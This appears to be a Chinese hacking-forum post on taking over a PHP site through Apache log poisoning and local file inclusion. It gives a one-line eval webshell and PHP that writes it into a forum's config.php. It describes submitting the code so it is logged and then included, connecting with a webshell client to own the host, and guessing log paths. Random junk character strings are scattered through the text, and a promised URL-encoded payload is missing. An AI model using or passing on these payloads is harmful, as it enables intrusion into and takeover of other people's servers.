标题: php包含apache日志写马
因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
! o6 Y: Z0 O# ~4 m
; h8 _& Z' r( I" Q9 r0 t比如还是这句一句话木马 8 h' W& q* s0 u+ }
<?eval($_POST[cmd]);?>   
* N8 t1 Z2 {/ o; a
3 C" P- a6 H4 o8 w到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
& t* S1 [, O' b. J# R  `9 t# I; xfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
* u% ~0 W$ y5 s3 o
; v; T) P8 L" N+ t# n<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
8 y) c, @  q( Ifclose($fp);?>   //在config.php里写入一句木马语句
4 O3 k+ R+ ~4 z- ^3 {% D# ]  t# M2 e3 \4 G9 Y/ i
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。 ; g9 v. |; b+ h5 f8 A
转换为

1 S* O, d, M" r/ E这样webshell就写入成功了，config.php里就写入一句木马语句 0 l( l8 a4 N: e0 H8 B* }: w. v! ?! X3 q
OK.

' Q( G( f$ @& ?- P直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 ; x4 W0 v- t" J4 h; Z

其他的日志路径，你可以去猜，也可以参照这里。
